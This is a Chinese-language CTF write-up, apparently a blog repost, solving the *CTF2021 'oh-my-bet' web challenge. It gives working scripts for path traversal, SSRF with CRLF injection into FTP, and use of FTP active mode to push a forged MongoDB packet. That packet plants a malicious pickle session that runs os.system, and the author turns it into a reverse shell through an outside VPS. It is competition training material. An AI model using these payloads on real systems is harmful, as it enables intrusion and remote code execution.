zoukankan      html  css  js  c++  java
  • *CTF2021 oh-my-bet

    http://w4nder.top/?p=382

    抓个包,发现头像处1.png,可以路径穿越

    在这里插入图片描述

    结果会保存在头像中

    在这里插入图片描述

    /app/utils.py

    在这里插入图片描述

    urllib请求,基本上是ssrf+crlf

    /app/config.py

    在这里插入图片描述

    内网172.20.0.2 8877是个ftp,crlf看一下ftp文件可以得到config.json

    ftp://fan:root@172.20.0.2:8877/files/config.json
    

    看到172.20.0.5是mongodb,.3是mysql,.4是redis

    {
     "secret_key":"f4545478ee86$%^&&%$#",
     "DEBUG": false,
     "SESSION_TYPE": "mongodb",
     "REMOTE_MONGO_IP": "172.20.0.5",
     "REMOTE_MONGO_PORT": 27017,
     "SESSION_MONGODB_DB": "admin",
     "SESSION_MONGODB_COLLECT": "sessions",
     "SESSION_PERMANENT": true,
     "SESSION_USE_SIGNER": false,
     "SESSION_KEY_PREFIX": "session:",
     "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
     "SQLALCHEMY_TRACK_MODIFICATIONS": true,
     "REDIS_URL": "redis://@172.20.0.4:6379/0"
    }
    

    并且session是flask_session,也就是说session是以序列化pickle的形式存储在mongo里
    所以现在目的就是往mongodb中的session中插入恶意pickle数据,但是问题就是mongodb没有像ftp:// 一样的协议,不能直接用来ssrf。这里的打法也是让我学了一波

    首先ftp有主动模式和被动模式一说,命令行使用如quote port 127,0,0,1,0,2233切换,主动模式可以远程请求一个服务器端口下载(STOR)和上传文件(RETR),如

    import urllib.request
    # Upload file
    a = '''TYPE I
    PORT 127,0,0,1,0,1888
    STOR bb2.txt
    '''
    c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
    exp = urllib.parse.quote(a.replace('
    ', '
    '))
    exp = c + exp
    print(exp)
    

    这样crlf请求过去ftp就会启用主动模式,并从本地1888端口下载一个bb2.txt文件
    在vps上起一个发送文件的socket

    import socket
    HOST = '0.0.0.0'  
    PORT = 1888     
    blocksize = 4096
    fp = open('bb2.txt', 'rb')
    s = socket.socket() 
    s.bind((HOST, PORT))
    print('start listen...')
    s.listen(5)
    conn, addr = s.accept()
    while 1:
        buf = fp.read(blocksize)
        if not buf:
            fp.close()
            break
        conn.sendall(buf)
    print('end.')
    

    这样就能任意让ftp下载文件了
    在这里插入图片描述

    但是目标是通过ftp上传到mongo怎么实现,先ftp主动模式上传抓个包,还是用官方的脚本生成payload

    import urllib.request
    # Attack mongodb
    a = '''TYPE I
    PORT vps,0,27017
    RETR test111.txt
    '''
    c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
    exp = urllib.parse.quote(a.replace('
    ', '
    '))
    exp = c + exp
    print(exp)
    

    这里可以看到ftp会把文件内容直接放到tcp流中来上传
    在这里插入图片描述

    那么在本地用pymongo模拟一下更新mongo里的文件,

    #https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet
    from pymongo import MongoClient
    import pickle
    import os
    def get_pickle(cmd):
        class exp(object):
            def __reduce__(self):
                return (os.system, (cmd,))
        return pickle.dumps(exp())
    def get_mongo(cmd):
        client = MongoClient('localhost', 27017)
        coll = client.admin.sessions
        try:
            coll.update_one(
                {'id':'session:37386ce1-3fe8-4f1d-91fc-224581c5279f'},
                {"$set": { "val": get_pickle(cmd) }},
                upsert=True
            )
        except Exception as e:
            return e.message
    if __name__ == '__main__':
        print(get_mongo('ls'))
    

    本地起个docker抓一下
    在这里插入图片描述

    图中可以看到这一部分是关键的对mongodb更新的数据包,同样也是直接在tcp流中,那么我们如果在ftp中令发送的文件为这一串就是等效于通过ssrf ftp来操作mongo了

    下一步就是生成文件,可以通过将raw数据包十六进制转换的方式,还有一种是这位师傅的

    https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet

    直接去pymongo源码里network.py找到发送数据的那一段,前面抛个异常就行了,我这里直接输出msg了(注意这里得用linux生成!免得踩坑了)

    在这里插入图片描述
    在这里插入图片描述

    然后生成对应的文件,如下

    在这里插入图片描述

    改成弹shell的放到vps传到ftp,然后再将该文件发送到172.20.0.5 27017,变相更新了一次mongo

    这时mongo里的数据就被改了

    在这里插入图片描述

    /readflag

    在这里插入图片描述

    ssrf脚本

    # -*- coding:utf-8 -*-
    import uuid
    import re
    import requests
    sess=requests.session()
    def get_source():
        res=sess.get(url+"/shake_and_dice")
        #print(res.headers)
        print(res.cookies)
        text=re.findall('<img src="data:image/png;base64,(.*?)" class="img-thumbnail".*?',res.text)
        if text:
            print("[+] Get source:")
            print(text)
        
    def login(path):
        print("[+] Login")
        username=uuid.uuid4()
        data={
            'username':username,
            'password':username,
            'avatar':path,
            'submit':'Go!'
        }
        sess.post(url+'/login',data=data)
        
    if __name__ == '__main__':
        url="http://192.168.134.132:8088/"
        login("ftp://fan:root@172.20.0.2:8877/")
        get_source()
    

    https://github.com/sixstars/starctf2021/blob/main/web-oh-my-bet/oh-my-bet-ZH.md

    https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet

  • 相关阅读:
    kafka 项目实战
    7.DHCP的相关命令
    3.centos 7执行service iptables save报错问题
    39.NFS(网络文件系统)
    37.Samba 文件共享服务1--配置共享资源
    36.Samba 文件共享服务1--安装及配置参数解释
    35.简单文件传输协议
    34.vsftpd服务程序--虚拟用户模式
    33.vsftpd服务程序--本地用户模式
    32.vsftpd服务程序--匿名开放模式
  • 原文地址:https://www.cnblogs.com/W4nder/p/14322791.html
Copyright © 2011-2022 走看看